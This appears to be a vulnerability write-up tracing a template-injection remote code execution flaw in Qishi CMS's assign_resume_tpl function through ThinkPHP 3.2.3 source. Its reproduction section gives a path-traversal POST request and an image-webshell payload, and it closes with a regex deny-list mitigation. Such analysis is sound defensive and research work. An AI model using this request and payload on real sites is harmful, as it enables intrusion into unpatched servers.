Analyzing Remote Code Execution in Qishi CMS

Summary0x00 Preface. Xu recently told me Qishi CMS had patched a problem in the global assign_resume_tpl function and asked whether it was exploitable. The official advisory points to /Application/Common/Controller/BaseController…

Code Auditingrce0day74cmsQishi CMSRemote Code Execution

0x00 Preface

Xu recently told me that Qishi CMS had released a patch.assign_resume_tpl A global function had a reported issue, and I was asked to determine whether it could be exploited. The official advisory says:

http://www.74cms.com/news/show-2497.html

/Application/Common/Controller/BaseController.class.phpfile'sassign_resume_tpl function performs insufficient filtering, causing template injection and remote code execution.

0x01 Background

Qishi CMS also uses ThinkPHP, specifically version 3.2.3. A standard ThinkPHP 3.2.3 URL has this structure:

TEXT
http://serverName/index.php/module/controller/action

Qishi CMS uses the ordinary ThinkPHP routing mode: traditional GET parameters select the module and action. To invoke User.login in the Home module, for example:

TEXT
http://localhost/?m=home&c=user&a=login&var=value

m selects the module, c the controller, and a the action or method; subsequent values are additional GET parameters.

These parameters can be changed in the system configuration, for example:

PHP
'VAR_MODULE'            =>  'module',     // 默认模块获取变量
'VAR_CONTROLLER'        =>  'controller',    // 默认控制器获取变量
'VAR_ACTION'            =>  'action',    // 默认操作获取变量

The previous address becomes:

TEXT
http://localhost/?module=home&controller=user&action=login&var=value

With this background, construction of the exploit becomes clear.

0x02 Analysis

Vulnerable file:/Application/Common/Controller/BaseController.class.phpinassign_resume_tplmethod:

PHP
 public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        }
        return $this->fetch($tpl);
    }

Two variables are passed;$tplvariable is passed tofetch()method; follow into it.

/ThinkPHP/Library/Think/View.class.php

PHP
 public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }

First, the code checks whether the template file is empty. If not, it checks whether native PHP templates are in use. Inspect the configuration:/ThinkPHP/Conf/convention.php Around line 111:

PHP
    'TMPL_ENGINE_TYPE'      =>  'Think',     // 默认模板引擎 以下设置仅对使用Think模板引擎有效
    'TMPL_CACHFILE_SUFFIX'  =>  '.php',      // 默认模板缓存后缀
    'TMPL_DENY_FUNC_LIST'   =>  'echo,exit',    // 模板引擎禁用函数
    'TMPL_DENY_PHP'         =>  false, // 默认模板引擎是否禁用PHP原生代码

Qishi CMS enables the Think template engine by default, so execution enters

PHP
 $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
 Hook::listen('view_parse',$params);

places the value in an array and passes it toHook::listen(), and parsesview_parsetag. Continue following it./ThinkPHP/Library/Think/Hook.class.php, around line 80:

PHP
/**
     * 监听标签的插件
     * @param string $tag 标签名称
     * @param mixed $params 传入参数
     * @return void
     */
    static public function listen($tag, &$params=NULL) {
        if(isset(self::$tags[$tag])) {
            if(APP_DEBUG) {
                G($tag.'Start');
                trace('[ '.$tag.' ] --START--','','INFO');
            }
            foreach (self::$tags[$tag] as $name) {
                APP_DEBUG && G($name.'_start');
                $result =   self::exec($name, $tag,$params);
                if(APP_DEBUG){
                    G($name.'_end');
                    trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
                }
                if(false === $result) {
                    // 如果返回false 则中断插件执行
                    return ;
                }
            }
            if(APP_DEBUG) { // 记录行为的执行日志
                trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
            }
        }
        return;
    }
 /**
     * 执行某个插件
     * @param string $name 插件名称
     * @param string $tag 方法名(标签名)
     * @param Mixed $params 传入的参数
     * @return void
     */
    static public function exec($name, $tag,&$params=NULL) {
        if('Behavior' == substr($name,-8) ){
            // 行为扩展必须用run入口方法
            $tag    =   'run';
        }
        $addon   = new $name();
        return $addon->$tag($params);
    }

That is, when the system triggers theview_parseevent, ThinkPHP locatesHook::listen()method, which searches for$tagswhether a binding exists inview_parseevent method and iterates with foreach over$tagsproperty and executesHook:execmethod.

Hook:execchecks the behavior name. If it containsBehaviorkeyword, so the entry method must berunmethod, while execution ofrunmethod's parameters are specified when callingHook::listen. Hook configuration is specified in/ThinkPHP/Mode/common.php, as follows:

PHP
 // 行为扩展定义
    'tags'  =>  array(
        'app_init'     =>  array(
            'Behavior\BuildLiteBehavior', // 生成运行Lite文件
        ),
        'app_begin'     =>  array(
            'Behavior\ReadHtmlCacheBehavior', // 读取静态缓存
        ),
        'app_end'       =>  array(
            'Behavior\ShowPageTraceBehavior', // 页面Trace显示
        ),
        'view_parse'    =>  array(
            'Behavior\ParseTemplateBehavior', // 模板解析 支持PHP、内置模板引擎和第三方模板引擎
        ),
        'template_filter'=> array(
            'Behavior\ContentReplaceBehavior', // 模板输出替换
        ),
        'view_filter'   =>  array(
            'Behavior\WriteHtmlCacheBehavior', // 写入静态缓存
        ),
    ),

The configuration file showsview_parsetag executesParseTemplateBehaviorclass, because all behavior extensions enter throughrunmethod, so focus only onrunmethod is sufficient./ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.phpAround line 17:

PHP
class ParseTemplateBehavior {

    // 行为扩展的执行入口必须是run
    public function run(&$_data){
        $engine             =   strtolower(C('TMPL_ENGINE_TYPE'));
        $_content           =   empty($_data['content'])?$_data['file']:$_data['content'];
        $_data['prefix']    =   !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
        if('think'==$engine){ // 采用Think模板引擎
            if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
                ||  $this->checkCache($_data['file'],$_data['prefix'])) {
                // 缓存有效
                //载入模版缓存文件
               Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
            }else{
                $tpl = Think::instance('Think\\Template');
                // 编译并加载模板文件
                $tpl->fetch($_content,$_data['var'],$_data['prefix']);
            }
        }else{
            // 调用第三方模板引擎解析和输出
            if(strpos($engine,'\\')){
                $class  =   $engine;
            }else{
                $class   =  'Think\\Template\\Driver\\'.ucwords($engine);
            }
            if(class_exists($class)) {
                $tpl   =  new $class;
                $tpl->fetch($_content,$_data['var']);
            }else {  // 类没有定义
                E(L('_NOT_SUPPORT_').': ' . $class);
            }
        }
    }

The code shows that the first template parse, before a cache exists, calls fetch()method:

PHP
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);

Follow into the file/ThinkPHP/Library/Think/Template.class.phpAround line 73:

PHP
    /**
     * 加载模板
     * @access public
     * @param string $templateFile 模板文件
     * @param array  $templateVar 模板变量
     * @param string $prefix 模板标识前缀
     * @return void
     */
    public function fetch($templateFile,$templateVar,$prefix='') {
        $this->tVar         =   $templateVar;
        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);
        Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }
/**
     * 加载主模板并缓存
     * @access public
     * @param string $templateFile 模板文件
     * @param string $prefix 模板标识前缀
     * @return string
     * @throws ThinkExecption
     */
    public function loadTemplate ($templateFile,$prefix='') {
        if(is_file($templateFile)) {
            $this->templateFile    =  $templateFile;
            // 读取模板文件内容
            $tmplContent =  file_get_contents($templateFile);
        }else{
            $tmplContent =  $templateFile;
        }
         // 根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

        // 判断是否启用布局
        if(C('LAYOUT_ON')) {
            if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
                $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
            }else{ // 替换布局的主体内容
                $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
                // 检查布局文件
                if(!is_file($layoutFile)) {
                    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
                }
                $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
            }
        }
        // 编译模板内容
        $tmplContent =  $this->compiler($tmplContent);
        Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
        return $tmplCacheFile;
    }

We can seefetch()method callsloadTemplatemethod, then inloadTemplatemethod,$templateFileis assigned to$tmplContent, then template compilation enterscompilermethod, again/ThinkPHP/Library/Think/Template.class.phpfile, around line 120:

PHP
/**
     * 编译模板文件内容
     * @access protected
     * @param mixed $tmplContent 模板内容
     * @return string
     */
    protected function compiler($tmplContent) {
        //模板解析
        $tmplContent =  $this->parse($tmplContent);
        // 还原被替换的Literal标签
        $tmplContent =  preg_replace_callback('/<!--###literal(\d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent);
        // 添加安全代码
        $tmplContent =  '<?php if (!defined(\'THINK_PATH\')) exit();?>'.$tmplContent;
        // 优化生成的php代码
        $tmplContent = str_replace('?><?php','',$tmplContent);
        // 模版编译过滤标签
        Hook::listen('template_filter',$tmplContent);
        return strip_whitespace($tmplContent);//strip_whitespace函数主要是去除代码中的空白和注释
    }

The unfiltered template content is concatenated directly into$tmplContentvariable

Then returnloadTemplatemethod. Examine its template-editing logic:

PHP
 // 编译模板内容
 $tmplContent =  $this->compiler($tmplContent);
 Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
 return $tmplCacheFile;

caches the compiled template and returns the cached filename.

Return tofetch()method. We can seeloadTemplateThe cached filename returned by the method enters

Storage::load($templateCacheFile,$this->tVar,null,'tpl');

Follow the method into/ThinkPHP/Library/Think/Storage/Driver/File.class.php, around line 69:

PHP
/**
     * 加载文件
     * @access public
     * @param string $filename  文件名
     * @param array $vars  传入变量
     * @return void
     */
    public function load($_filename,$vars=null){
        if(!is_null($vars)){
            extract($vars, EXTR_OVERWRITE);
        }
        include $_filename;
    }

checks only that it is nonempty, then includes the file directly.

The entire vulnerability flow is now clear and is shown below:

Event flow

0x03 Reproduction

First register a normal user on the public site, then update the résumé:

1.png

After updating the résumé, upload a photo:

2.png

After uploading the image webshell, the application generates this image URL:

3.png

Copy the path, call assign_resume_tpl through the a parameter, and submit the path by POST to include it successfully.

TEXT
http://192.168.159.208/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=../../../../var/www/html/data/upload/resume_img/2011/13/5fae95e469e05.jpg

As shown below:

4.png

The analysis above shows that the template parser does not parse raw PHP directly. A pure PHP image webshell therefore fails; it must also contain a Qishi CMS template tag. Open an existing template and copy any suitable statement, for example:/Application/Home/View/tpl_company/default/com_jobs_list.html

PHP
    <qscms:company_show 列表名="info" 企业id="$_GET['id']"/>
5.png

The final image webshell must therefore contain:

PHP
<?php phpinfo(); ?>
<qscms:company_show 列表名="info" 企业id="$_GET['id']"/>

Qishi CMS filters image uploads, so a bypass is required. That technique is left for separate study. Uploading a DOCX or another accepted file type is another option; it does not change the inclusion result.

0x04 Fix

The official patch is:

BaseController.class.phpline 169 of the fileassign_resume_tplmethod, add a validation check

PHP
        $view = new \Think\View;

        $tpl_file = $view->parseTemplate($tpl);

        if(!is_file($tpl_file)){

            return false;

        }

File 2

Path:/ThinkPHP/Library/Think/View.class.phpView.class.phpline 106 of the filefetchmethod, replacing line 110

PHP
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);

replace the commented code with

PHP
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'))

This patch is ineffective; commands can still be executed:

6.png

Here is a temporary mitigation:

BaseController.class.phpfileassign_resume_tplmethod, add a validation check

PHP
$pattern = "\.\/|\.\.\/|:|%00|%0a|=|~|@|file|php|filter|resource";

	if(preg_match("/".$pattern."/is",$tpl)== 1){
		return $this->_empty();
	}

As follows:

7.png

Attempting command execution here fails:

8.png

0x05 Conclusion

This is a conventional template injection vulnerability. A controllable parameter reachesfetch()function. This vulnerability pattern is familiar; the earlier FastAdmin front-end RCE had the same cause. That article skipped the detailed data flow, so this one traces it carefully. Corrections are welcome, and thanks to Xu for the guidance.

0x06 References

https://blog.csdn.net/qq_16877261/article/details/53484671

https://juejin.im/post/6844903982905688078

http://www.111com.net/phper/thinkPhp/104435.htm

https://www.kancloud.cn/manual/thinkphp/1697

http://www.74cms.com/news/show-2497.html